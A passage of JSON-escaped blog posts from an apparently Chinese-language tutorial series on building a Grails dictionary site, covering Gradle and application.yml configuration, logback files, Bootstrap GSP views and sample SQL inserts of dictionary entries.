\u0026#34;org.grails:grails-web-testing-support\u0026#34; testImplementation \u0026#34;org.grails.plugins:geb\u0026#34; testImplementation \u0026#34;org.seleniumhq.selenium:selenium-remote-driver:4.0.0\u0026#34; testImplementation \u0026#34;org.seleniumhq.selenium:selenium-api:4.0.0\u0026#34; testImplementation \u0026#34;org.seleniumhq.selenium:selenium-support:4.0.0\u0026#34; testRuntimeOnly \u0026#34;org.seleniumhq.selenium:selenium-chrome-driver:4.0.0\u0026#34; testRuntimeOnly \u0026#34;org.seleniumhq.selenium:selenium-firefox-driver:4.0.0\u0026#34; // https://mvnrepository.com/artifact/org.postgresql/postgresql implementation group: \u0026#39;org.postgresql\u0026#39;, name: \u0026#39;postgresql\u0026#39;, version: \u0026#39;42.6.0\u0026#39; //hikaricp implementation \u0026#34;com.zaxxer:HikariCP:5.0.1\u0026#34; } bootRun { ignoreExitValue true jvmArgs( \u0026#39;-Dspring.output.ansi.enabled=always\u0026#39;, \u0026#39;-noverify\u0026#39;, \u0026#39;-XX:TieredStopAtLevel=1\u0026#39;, \u0026#39;-Xmx1024m\u0026#39;) sourceResources sourceSets.main String springProfilesActive = \u0026#39;spring.profiles.active\u0026#39; systemProperty springProfilesActive, System.getProperty(springProfilesActive) } tasks.withType(GroovyCompile) { configure(groovyOptions) { forkOptions.jvmArgs = [\u0026#39;-Xmx1024m\u0026#39;] } } tasks.withType(Test) { useJUnitPlatform() } webdriverBinaries { if (!System.getenv().containsKey(\u0026#39;GITHUB_ACTIONS\u0026#39;)) { chromedriver { version = \u0026#39;2.45.0\u0026#39; fallbackTo32Bit = true } geckodriver \u0026#39;0.30.0\u0026#39; } } tasks.withType(Test) { systemProperty \u0026#34;geb.env\u0026#34;, System.getProperty(\u0026#39;geb.env\u0026#39;) systemProperty \u0026#34;geb.build.reportsDir\u0026#34;, reporting.file(\u0026#34;geb/integrationTest\u0026#34;) if (!System.getenv().containsKey(\u0026#39;GITHUB_ACTIONS\u0026#39;)) { systemProperty \u0026#39;webdriver.chrome.driver\u0026#39;, System.getProperty(\u0026#39;webdriver.chrome.driver\u0026#39;) systemProperty \u0026#39;webdriver.gecko.driver\u0026#39;, System.getProperty(\u0026#39;webdriver.gecko.driver\u0026#39;) } else { systemProperty \u0026#39;webdriver.chrome.driver\u0026#39;, \u0026#34;${System.getenv(\u0026#39;CHROMEWEBDRIVER\u0026#39;)}/chromedriver\u0026#34; systemProperty \u0026#39;webdriver.gecko.driver\u0026#39;, \u0026#34;${System.getenv(\u0026#39;GECKOWEBDRIVER\u0026#39;)}/geckodriver\u0026#34; } } assets { minifyJs = true minifyCss = true } grails 專案所有中的 plugin 都是在這邊設定。另外，初始化的 gradle.properties 文件，預設會有 H2 相關套件記得移除。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-12.%E7%B6%B2%E7%AB%99%E9%96%8B%E7%99%BC-2-%E8%A8%AD%E5%AE%9A%E7%92%B0%E5%A2%83%E5%8F%83%E6%95%B8-1/","section":"Posts","summary":"來架個網站吧-12.網站開發-2: 設定環境參數-1 # tags: 來架個網站吧 Grails # 我是目錄\n","title":"來架個網站吧-12.網站開發-2: 設定環境參數-","type":"post"},{"content":" 來架個網站吧-13.網站開發-3: 設定環境參數-2 # tags: 來架個網站吧 Grails # 我是目錄\n昨天本來想要一口氣講完，但是發現篇幅好像有點長，所以決定切兩部份。\n設定專案環境參數 # grails-app/conf/application.yml # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 --- grails: profile: web codegen: defaultPackage: ironman.dict gorm: reactor: # Whether to translate GORM events into Reactor events # Disabled by default for performance reasons events: false info: app: name: \u0026#39;@info.app.name@\u0026#39; version: \u0026#39;@info.app.version@\u0026#39; grailsVersion: \u0026#39;@info.app.grailsVersion@\u0026#39; spring: jmx: unique-names: true main: banner-mode: \u0026#34;off\u0026#34; groovy: template: check-template-location: false devtools: restart: additional-exclude: - \u0026#39;*.gsp\u0026#39; - \u0026#39;**/*.gsp\u0026#39; - \u0026#39;*.gson\u0026#39; - \u0026#39;**/*.gson\u0026#39; - \u0026#39;logback.groovy\u0026#39; - \u0026#39;*.properties\u0026#39; environments: development: management: endpoints: enabled-by-default: true web: base-path: \u0026#39;/actuator\u0026#39; exposure: include: \u0026#39;*\u0026#39; production: management: endpoints: enabled-by-default: false --- grails: mime: disable: accept: header: userAgents: - Gecko - WebKit - Presto - Trident types: all: \u0026#39;*/*\u0026#39; atom: application/atom+xml css: text/css csv: text/csv form: application/x-www-form-urlencoded html: - text/html - application/xhtml+xml js: text/javascript json: - application/json - text/json multipartForm: multipart/form-data pdf: application/pdf rss: application/rss+xml text: text/plain hal: - application/hal+json - application/hal+xml xml: - text/xml - application/xml urlmapping: cache: maxsize: 1000 controllers: defaultScope: singleton converters: encoding: UTF-8 views: default: codec: html gsp: encoding: UTF-8 htmlcodec: xml codecs: expression: html scriptlet: html taglib: none staticparts: none --- hibernate: cache: queries: false use_second_level_cache: false use_query_cache: false dataSource: pooled: true jmxExport: true driverClassName: org.postgresql.Driver dialect: org.hibernate.dialect.PostgreSQLDialect type: com.zaxxer.hikari.HikariDataSource username: dict_ap password: \u0026#39;LF2.net\u0026#39; logSql: false formatSql: true environments: development: dataSource: dbCreate: none url: jdbc:postgresql://127.0.0.1:5432/ironman_dict_db test: dataSource: dbCreate: none url: jdbc:postgresql://127.0.0.1:5432/ironman_dict_db production: dataSource: dbCreate: none url: jdbc:postgresql://127.0.0.1:5432/ironman_dict_db properties: jmxEnabled: true initialSize: 5 maxActive: 50 minIdle: 5 maxIdle: 25 maxWait: 10000 maxAge: 600000 timeBetweenEvictionRunsMillis: 5000 minEvictableIdleTimeMillis: 60000 validationQuery: SELECT 1 validationQueryTimeout: 3 validationInterval: 15000 testOnBorrow: true testWhileIdle: true testOnReturn: false jdbcInterceptors: ConnectionState defaultTransactionIsolation: 2 # TRANSACTION_READ_COMMITTED grails-app/conf/application.yml 主要是專案的參數文件配置。\n在 grails 框架中有三個預設環境，方便在不同環境中切換:\ndevelopment: 開發環境 test: 測試環境 production: 生產環境 在 development 因為有配置 spring-boot-devtools ，所以在更動程式原始碼時，會啟用熱部署。\n另外如果有第四種以上的環境需要特別部署，可以自行命名，範例如下:\ngrails-app/conf/application.yml 1 2 3 4 5 6 7 8 9 10 11 ... environments: test: dataSource: dbCreate: none url: jdbc:postgresql://127.0.0.1:5432/ironman_dict_db example: dataSource: dbCreate: none url: jdbc:postgresql://127.0.0.1:5432/ironman_dict_db ... 在執行，時需要加參數指定環境: -Dgrails.env\n1 -Dgrails.env=example 不同環境的log配置 # grails log 預設是 grails-app/conf/logback.xml，有需求可以另外新增。以下是針對不同環境處理的文件:\n預設: grails-app/conf/logback.xml 測試環境: grails-app/conf/logback-test.xml 開發環境: grails-app/conf/logback-development.xml 相對應的文件描述如下\ngrails-app/conf/application.yml 1 2 3 4 5 6 7 8 9 ... environments: development: logging: config: grails-app/conf/logback-development.xml test: logging: config: \u0026#34;${catalina.base}/webapps/ironman-dict/WEB-INF/classes/logback-test.xml\u0026#34; ... grails-app/conf/logback.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;configuration\u0026gt; \u0026lt;conversionRule conversionWord=\u0026#34;clr\u0026#34; converterClass=\u0026#34;org.springframework.boot.logging.logback.ColorConverter\u0026#34; /\u0026gt; \u0026lt;conversionRule conversionWord=\u0026#34;wex\u0026#34; converterClass=\u0026#34;org.springframework.boot.logging.logback.WhitespaceThrowableProxyConverter\u0026#34; /\u0026gt; \u0026lt;appender name=\u0026#34;STDOUT\u0026#34; class=\u0026#34;ch.qos.logback.core.ConsoleAppender\u0026#34;\u0026gt; \u0026lt;encoder\u0026gt; \u0026lt;charset\u0026gt;UTF-8\u0026lt;/charset\u0026gt; \u0026lt;pattern\u0026gt;%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(%5p) %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n%wex\u0026lt;/pattern\u0026gt; \u0026lt;/encoder\u0026gt; \u0026lt;/appender\u0026gt; \u0026lt;root level=\u0026#34;error\u0026#34;\u0026gt; \u0026lt;appender-ref ref=\u0026#34;STDOUT\u0026#34; /\u0026gt; \u0026lt;/root\u0026gt; \u0026lt;/configuration\u0026gt; grails-app/conf/logback-test.xml, grails-app/conf/logback-development.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;configuration\u0026gt; \u0026lt;conversionRule conversionWord=\u0026#34;clr\u0026#34; converterClass=\u0026#34;org.springframework.boot.logging.logback.ColorConverter\u0026#34; /\u0026gt; \u0026lt;conversionRule conversionWord=\u0026#34;wex\u0026#34; converterClass=\u0026#34;org.springframework.boot.logging.logback.WhitespaceThrowableProxyConverter\u0026#34; /\u0026gt; \u0026lt;appender name=\u0026#34;STDOUT\u0026#34; class=\u0026#34;ch.qos.logback.core.ConsoleAppender\u0026#34;\u0026gt; \u0026lt;encoder\u0026gt; \u0026lt;charset\u0026gt;UTF-8\u0026lt;/charset\u0026gt; \u0026lt;pattern\u0026gt;%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(%5p) %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n%wex\u0026lt;/pattern\u0026gt; \u0026lt;/encoder\u0026gt; \u0026lt;/appender\u0026gt; \u0026lt;root level=\u0026#34;info\u0026#34;\u0026gt; \u0026lt;appender-ref ref=\u0026#34;STDOUT\u0026#34; /\u0026gt; \u0026lt;/root\u0026gt; \u0026lt;/configuration\u0026gt; ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-13.%E7%B6%B2%E7%AB%99%E9%96%8B%E7%99%BC-3-%E8%A8%AD%E5%AE%9A%E7%92%B0%E5%A2%83%E5%8F%83%E6%95%B8-2/","section":"Posts","summary":"來架個網站吧-13.網站開發-3: 設定環境參數-2 # tags: 來架個網站吧 Grails # 我是目錄\n","title":"來架個網站吧-13.網站開發-3: 設定環境參數-2","type":"post"},{"content":" 來架個網站吧-14.網站開發-4-MVC-1-view # tags: 來架個網站吧 Grails # 我是目錄\n想了又想，決定還是從畫面開始講起，雖然跟我自己的開發習慣不一樣。因為在我自己學習網站開發的階段是從畫面開始學習，也許這樣對初學者會比較容易上手。後來工作三、四年之後，逐漸會先把系統的資料處理流程先構築完畢，接下來在處理使用者或是API介面部份，最後在修整程式細節。\n今天主要是把網站畫面構築出來，這邊我主要使用的技術如下:\nbootstrap v4 bootstrap-table jQuery 新增 Controller # 在新增畫面之前，首先新增一個Controller。一個Controller代表ContextPath後的第一個Path。而第二個Path代表Controller裡的Action。\n接下來就用IDEA完成新增DictController.groovy\ngrails-app/controllers/dict/DictController.groovy 在Controllers資料夾中按下右鍵 選擇新增Grails Controller 輸入要新增的Controller，這次是: DictController 新增成功後就會在Controllers下中建立一個DictController.groovy檔案。 新增 laylout: # 在新增一個view之前，建議先完成一個layout(母板)，以下是這次是要要新增 layout 所需要的檔案。\nstylesheet: grails-app/assets/stylesheets/dict-main.css javascript: grails-app/assets/javascripts/dict-main.js laylout: grails-app/views/layouts/dict-main.gsp 目錄結構如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 grails-app ├── assets │ ├── javascripts │ │ ├── bootstrap.js │ │ ├── bootstrap.js.map │ │ ├── bootstrap.min.js │ │ ├── bootstrap.min.js.map │ │ ├── dict-main.js │ │ ├── jquery-3.5.1.js │ │ ├── jquery-3.5.1.min.js │ │ ├── jquery-3.5.1.min.js.map │ │ ├── popper.js │ │ ├── popper.min.js │ │ └── popper.min.js.map │ └── stylesheets │ ├── bootstrap.css │ ├── bootstrap.css.map │ ├── bootstrap.min.css │ ├── bootstrap.min.css.map │ └── dict-main.css └── views ├── dict │ └── index.gsp └── layouts └── dict-main.gsp grails-app/assets/stylesheets/dict-main.css # 這個檔案是放置 css文件內容。\n1 2 3 4 /* *= require bootstrap *= require_self */ grails-app/assets/javascripts/dict-main.js # 這個檔案是放置 javascript 文件內容。\n1 2 3 4 //= require jquery-3.5.1.min //= require popper.min //= require bootstrap //= require_self grails-app/views/layouts/dict-main.gsp # 處理好 grails-app/assets/javascripts/dict-main.js與 grails-app/assets/stylesheets/dict-main.css 之後，接下來是製作layout。\n在這邊有用到一項技術: Sitemesh\n系統流程大概是將gsp發送給使用者之前，透過攔截器處理裝修後將母板套入制GSP後再發送給使用者。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026lt;%-- Created by IntelliJ IDEA. User: pollochang Date: 9/25/23 Time: 11:10 AM --%\u0026gt; \u0026lt;%@ page contentType=\u0026#34;text/html;charset=UTF-8\u0026#34; %\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;鐵人字典\u0026lt;/title\u0026gt; \u0026lt;asset:stylesheet src=\u0026#34;dict-main.css\u0026#34;/\u0026gt; \u0026lt;asset:javascript src=\u0026#34;dict-main.js\u0026#34;/\u0026gt; \u0026lt;g:layoutHead/\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;g:layoutBody/\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 新增 view: grails-app/views/dict/index.gsp # 處理完成GSP的 layout 之後，接下來就是新增每支action對應的view了。沒有特別指名render 路徑，預設都會在 grails-app/view/[controller-name]/[action-name]\n在views/dict資料夾中按下右鍵。 選擇新增GSP。 輸入要新增的gsp檔案名稱。 index.gsp 內容如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 \u0026lt;%-- Created by IntelliJ IDEA. User: pollochang Date: 9/25/23 Time: 11:05 AM --%\u0026gt; \u0026lt;%@ page contentType=\u0026#34;text/html;charset=UTF-8\u0026#34; %\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta name=\u0026#34;layout\u0026#34; content=\u0026#34;dict-main\u0026#34;/\u0026gt; \u0026lt;link href=\u0026#34;https://unpkg.com/bootstrap-table@1.22.1/dist/bootstrap-table.min.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/bootstrap-table@1.22.1/dist/bootstrap-table.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;form-group input-group\u0026#34;\u0026gt; \u0026lt;h3\u0026gt;\u0026lt;label for=\u0026#34;searchWord\u0026#34;\u0026gt;請輸入查詢的詞彙\u0026lt;/label\u0026gt;\u0026lt;/h3\u0026gt; \u0026lt;div class=\u0026#34;input-group mb-3\u0026#34;\u0026gt; \u0026lt;g:textField id=\u0026#34;searchWord\u0026#34; name=\u0026#34;searchWord\u0026#34; class=\u0026#34;form-control\u0026#34; aria-describedby=\u0026#34;searchWordHelp\u0026#34; /\u0026gt; \u0026lt;div class=\u0026#34;input-group-append\u0026#34;\u0026gt; \u0026lt;g:submitButton id=\u0026#34;searchButton\u0026#34; name=\u0026#34;searchButton\u0026#34; value=\u0026#34;查詢\u0026#34; class=\u0026#34;btn btn-outline-primary\u0026#34; type=\u0026#34;button\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;small id=\u0026#34;searchWordHelp\u0026#34; class=\u0026#34;form-text text-muted\u0026#34;\u0026gt;嘗試輸入: 天\u0026lt;/small\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col\u0026#34;\u0026gt; \u0026lt;h3\u0026gt;查詢結果\u0026lt;/h3\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col\u0026#34;\u0026gt; \u0026lt;table data-toggle=\u0026#34;table\u0026#34; data-search=\u0026#34;false\u0026#34; data-show-columns=\u0026#34;false\u0026#34;\u0026gt; \u0026lt;thead\u0026gt; \u0026lt;tr class=\u0026#34;tr-class\u0026#34;\u0026gt; \u0026lt;th data-field=\u0026#34;word\u0026#34; data-valign=\u0026#34;middle\u0026#34;\u0026gt;單字(注音)\u0026lt;/th\u0026gt; \u0026lt;th data-field=\u0026#34;radical\u0026#34; data-valign=\u0026#34;middle\u0026#34;\u0026gt;部首\u0026lt;/th\u0026gt; \u0026lt;th data-field=\u0026#34;totalStrokes\u0026#34; data-valign=\u0026#34;middle\u0026#34;\u0026gt;總筆畫數/部首外筆畫\u0026lt;/th\u0026gt; \u0026lt;th data-field=\u0026#34;explanation\u0026#34; data-valign=\u0026#34;middle\u0026#34;\u0026gt;解釋\u0026lt;/th\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/thead\u0026gt; \u0026lt;tbody\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt; 一(一) \u0026lt;/td\u0026gt; \u0026lt;td\u0026gt; 一 \u0026lt;/td\u0026gt; \u0026lt;td\u0026gt; 1/0 \u0026lt;/td\u0026gt; \u0026lt;td\u0026gt; (1) 自ㄗˋ然ㄖㄢˊ數ㄕㄨˋ的˙ㄉㄜ第ㄉㄧˋ一ㄧ位ㄨㄟˋ。大ㄉㄚˋ寫ㄒㄧㄝˇ作ㄗㄨㄛˋ「壹ㄧ」，阿ㄚ拉ㄌㄚ伯ㄅㄛˊ數ㄕㄨˋ字ㄗˋ作ㄗㄨㄛˋ「１」。 (2)單ㄉㄢ個˙ㄍㄜ、不ㄅㄨˊ是ㄕˋ多ㄉㄨㄛ數ㄕㄨˋ的˙ㄉㄜ。如ㄖㄨˊ：「一ㄧˊ個˙ㄍㄜ」、「一ㄧˋ張ㄓㄤ紙ㄓˇ」。 (3) 相ㄒㄧㄤ同ㄊㄨㄥˊ、一ㄧˊ致ㄓˋ。如ㄖㄨˊ：「一ㄧˋ模ㄇㄛˊ一ㄧˊ樣ㄧㄤˋ」、「大ㄉㄚˋ小ㄒㄧㄠˇ不ㄅㄨˋ一ㄧ」。 (4) 專ㄓㄨㄢ注ㄓㄨˋ、純ㄔㄨㄣˊ正ㄓㄥˋ。如ㄖㄨˊ：「一ㄧˋ心ㄒㄧㄣ一ㄧˊ意ㄧˋ」、「用ㄩㄥˋ情ㄑㄧㄥˊ專ㄓㄨㄢ一ㄧ」。 (5)全ㄑㄩㄢˊ、整ㄓㄥˇ。如ㄖㄨˊ：「一ㄧˋ身ㄕㄣ臭ㄔㄡˋ汗ㄏㄢˋ」、「一ㄧˋ生ㄕㄥ一ㄧˊ世ㄕˋ」。 (6) 每ㄇㄟˇ。如ㄖㄨˊ：「一ㄧˋ班ㄅㄢ四ㄙˋ十ㄕˊ人ㄖㄣˊ」、「一ㄧˊ頁ㄧㄝˋ六ㄌㄧㄡˋ百ㄅㄞˇ字ㄗˋ」。 (7) 才ㄘㄞˊ、剛ㄍㄤ剛ㄍㄤ。如ㄖㄨˊ：「一ㄧˋ聽ㄊㄧㄥ就ㄐㄧㄡˋ懂ㄉㄨㄥˇ」、「天ㄊㄧㄢ一ㄧˊ亮ㄌㄧㄤˋ，他ㄊㄚ便ㄅㄧㄢˋ起ㄑㄧˇ床ㄔㄨㄤˊ。」 (8)放ㄈㄤˋ在ㄗㄞˋ兩ㄌㄧㄤˇ重ㄔㄨㄥˊ疊ㄉㄧㄝˊ的˙ㄉㄜ動ㄉㄨㄥˋ詞ㄘˊ之ㄓ間ㄐㄧㄢ，表ㄅㄧㄠˇ示ㄕˋ短ㄉㄨㄢˇ暫ㄓㄢˋ或ㄏㄨㄛˋ略ㄌㄩㄝˋ微ㄨㄟˊ嘗ㄔㄤˊ試ㄕˋ的˙ㄉㄜ意ㄧˋ思˙ㄙ。如ㄖㄨˊ：「動ㄉㄨㄥˋ一ㄧ動ㄉㄨㄥˋ」、「問ㄨㄣˋ一ㄧ問ㄨㄣˋ」、「聞ㄨㄣˊ一ㄧ聞ㄨㄣˊ」。 (9) 另ㄌㄧㄥˋ外ㄨㄞˋ的˙ㄉㄜ。如ㄖㄨˊ：「蟬ㄔㄢˊ，一ㄧˋ名ㄇㄧㄥˊ知ㄓ了ㄌㄧㄠˇ。」 (10)一ㄧˊ旦ㄉㄢˋ。表ㄅㄧㄠˇ示ㄕˋ假ㄐㄧㄚˇ設ㄕㄜˋ的˙ㄉㄜ語ㄩˇ氣ㄑㄧˋ。如ㄖㄨˊ：「一ㄧˋ失ㄕ足ㄗㄨˊ成ㄔㄥˊ千ㄑㄧㄢ古ㄍㄨˇ恨ㄏㄣˋ」。 \u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/tbody\u0026gt; \u0026lt;/table\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 檢視成果 # 測試連結: http://localhost:8099/dict/index 參考資料 # SiteMesh\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-14.%E7%B6%B2%E7%AB%99%E9%96%8B%E7%99%BC-4-mvc-1-view/","section":"Posts","summary":"來架個網站吧-14.網站開發-4-MVC-1-view # tags: 來架個網站吧 Grails # 我是目錄\n","title":"來架個網站吧-14.網站開發-4-MVC-1-view","type":"post"},{"content":" 來架個網站吧-15.網站開發-5-MVC-2-Domain # tags: 來架個網站吧 Grails # 我是目錄\n昨天完成新增畫面之後，接下來就是建立 domain 啦！在Grails設計框架之中，原則上資料酷的一張table是對到一個 Domain Class，本次要新增的table 在篇中: 來架個網站吧-10.資料規劃，就有提到，於是我在這邊就不多做闡述。新增完成 Table 之後，接下來是新增幾筆測試資料。如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 INSERT INTO public.dict ( word, radical, total_strokes, out_strokes, mpc, explanation) VALUES(\u0026#39;一\u0026#39;, \u0026#39;一\u0026#39;, 1, 0, \u0026#39;一\u0026#39;, \u0026#39;(1) 自ㄗˋ然ㄖㄢˊ數ㄕㄨˋ的˙ㄉㄜ第ㄉㄧˋ一ㄧ位ㄨㄟˋ。大ㄉㄚˋ寫ㄒㄧㄝˇ作ㄗㄨㄛˋ「壹ㄧ」，阿ㄚ拉ㄌㄚ伯ㄅㄛˊ數ㄕㄨˋ字ㄗˋ作ㄗㄨㄛˋ「１」。 (2)單ㄉㄢ個˙ㄍㄜ、不ㄅㄨˊ是ㄕˋ多ㄉㄨㄛ數ㄕㄨˋ的˙ㄉㄜ。如ㄖㄨˊ：「一ㄧˊ個˙ㄍㄜ」、「一ㄧˋ張ㄓㄤ紙ㄓˇ」。 (3) 相ㄒㄧㄤ同ㄊㄨㄥˊ、一ㄧˊ致ㄓˋ。如ㄖㄨˊ：「一ㄧˋ模ㄇㄛˊ一ㄧˊ樣ㄧㄤˋ」、「大ㄉㄚˋ小ㄒㄧㄠˇ不ㄅㄨˋ一ㄧ」。 (4) 專ㄓㄨㄢ注ㄓㄨˋ、純ㄔㄨㄣˊ正ㄓㄥˋ。如ㄖㄨˊ：「一ㄧˋ心ㄒㄧㄣ一ㄧˊ意ㄧˋ」、「用ㄩㄥˋ情ㄑㄧㄥˊ專ㄓㄨㄢ一ㄧ」。 (5)全ㄑㄩㄢˊ、整ㄓㄥˇ。如ㄖㄨˊ：「一ㄧˋ身ㄕㄣ臭ㄔㄡˋ汗ㄏㄢˋ」、「一ㄧˋ生ㄕㄥ一ㄧˊ世ㄕˋ」。 (6) 每ㄇㄟˇ。如ㄖㄨˊ：「一ㄧˋ班ㄅㄢ四ㄙˋ十ㄕˊ人ㄖㄣˊ」、「一ㄧˊ頁ㄧㄝˋ六ㄌㄧㄡˋ百ㄅㄞˇ字ㄗˋ」。 (7) 才ㄘㄞˊ、剛ㄍㄤ剛ㄍㄤ。如ㄖㄨˊ：「一ㄧˋ聽ㄊㄧㄥ就ㄐㄧㄡˋ懂ㄉㄨㄥˇ」、「天ㄊㄧㄢ一ㄧˊ亮ㄌㄧㄤˋ，他ㄊㄚ便ㄅㄧㄢˋ起ㄑㄧˇ床ㄔㄨㄤˊ。」 (8)放ㄈㄤˋ在ㄗㄞˋ兩ㄌㄧㄤˇ重ㄔㄨㄥˊ疊ㄉㄧㄝˊ的˙ㄉㄜ動ㄉㄨㄥˋ詞ㄘˊ之ㄓ間ㄐㄧㄢ，表ㄅㄧㄠˇ示ㄕˋ短ㄉㄨㄢˇ暫ㄓㄢˋ或ㄏㄨㄛˋ略ㄌㄩㄝˋ微ㄨㄟˊ嘗ㄔㄤˊ試ㄕˋ的˙ㄉㄜ意ㄧˋ思˙ㄙ。如ㄖㄨˊ：「動ㄉㄨㄥˋ一ㄧ動ㄉㄨㄥˋ」、「問ㄨㄣˋ一ㄧ問ㄨㄣˋ」、「聞ㄨㄣˊ一ㄧ聞ㄨㄣˊ」。 (9) 另ㄌㄧㄥˋ外ㄨㄞˋ的˙ㄉㄜ。如ㄖㄨˊ：「蟬ㄔㄢˊ，一ㄧˋ名ㄇㄧㄥˊ知ㄓ了ㄌㄧㄠˇ。」 (10)一ㄧˊ旦ㄉㄢˋ。表ㄅㄧㄠˇ示ㄕˋ假ㄐㄧㄚˇ設ㄕㄜˋ的˙ㄉㄜ語ㄩˇ氣ㄑㄧˋ。如ㄖㄨˊ：「一ㄧˋ失ㄕ足ㄗㄨˊ成ㄔㄥˊ千ㄑㄧㄢ古ㄍㄨˇ恨ㄏㄣˋ」。\u0026#39; ); INSERT INTO public.dict ( word, radical, total_strokes, out_strokes, mpc, explanation) VALUES(\u0026#39;團\u0026#39;, \u0026#39;囗\u0026#39;, 14, 11, \u0026#39;ㄊㄨㄢˊ\u0026#39;, \u0026#39;(1)圓ㄩㄢˊ形ㄒㄧㄥˊ的˙ㄉㄜ。如ㄖㄨˊ：「團ㄊㄨㄢˊ扇ㄕㄢˋ」。 (2)集ㄐㄧˊ結ㄐㄧㄝˊ成ㄔㄥˊ球ㄑㄧㄡˊ狀ㄓㄨㄤˋ的˙ㄉㄜ事ㄕˋ物ㄨˋ。如ㄖㄨˊ：「麵ㄇㄧㄢˋ團ㄊㄨㄢˊ」、「紙ㄓˇ團ㄊㄨㄢˊ」、「肉ㄖㄡˋ團ㄊㄨㄢˊ」。 (3)聚ㄐㄩˋ集ㄐㄧˊ、凝ㄋㄧㄥˊ結ㄐㄧㄝˊ。如ㄖㄨˊ：「團ㄊㄨㄢˊ拜ㄅㄞˋ」、「團ㄊㄨㄢˊ購ㄍㄡˋ」、「團ㄊㄨㄢˊ結ㄐㄧㄝˊ」、「團ㄊㄨㄢˊ聚ㄐㄩˋ」、「團ㄊㄨㄢˊ圓ㄩㄢˊ」、「團ㄊㄨㄢˊ團ㄊㄨㄢˊ露ㄌㄨˋ珠ㄓㄨ」。 (4)同ㄊㄨㄥˊ類ㄌㄟˋ性ㄒㄧㄥˋ質ㄓˊ的˙ㄉㄜ物ㄨˋ體ㄊㄧˇ大ㄉㄚˋ量ㄌㄧㄤˋ結ㄐㄧㄝˊ集ㄐㄧˊ的˙ㄉㄜ聚ㄐㄩˋ合ㄏㄜˊ物ㄨˋ。如ㄖㄨˊ：「星ㄒㄧㄥ團ㄊㄨㄢˊ」、「疑ㄧˊ團ㄊㄨㄢˊ」、「冷ㄌㄥˇ氣ㄑㄧˋ團ㄊㄨㄢˊ」。 (5)因ㄧㄣ特ㄊㄜˋ定ㄉㄧㄥˋ性ㄒㄧㄥˋ質ㄓˊ或ㄏㄨㄛˋ共ㄍㄨㄥˋ同ㄊㄨㄥˊ目ㄇㄨˋ的ㄉㄧˋ而ㄦˊ組ㄗㄨˇ織ㄓ聚ㄐㄩˋ集ㄐㄧˊ的˙ㄉㄜ群ㄑㄩㄣˊ體ㄊㄧˇ。如ㄖㄨˊ：「團ㄊㄨㄢˊ體ㄊㄧˇ」、「社ㄕㄜˋ團ㄊㄨㄢˊ」、「馬ㄇㄚˇ戲ㄒㄧˋ團ㄊㄨㄢˊ」、「旅ㄌㄩˇ行ㄒㄧㄥˊ團ㄊㄨㄢˊ」、「合ㄏㄜˊ唱ㄔㄤˋ團ㄊㄨㄢˊ」。 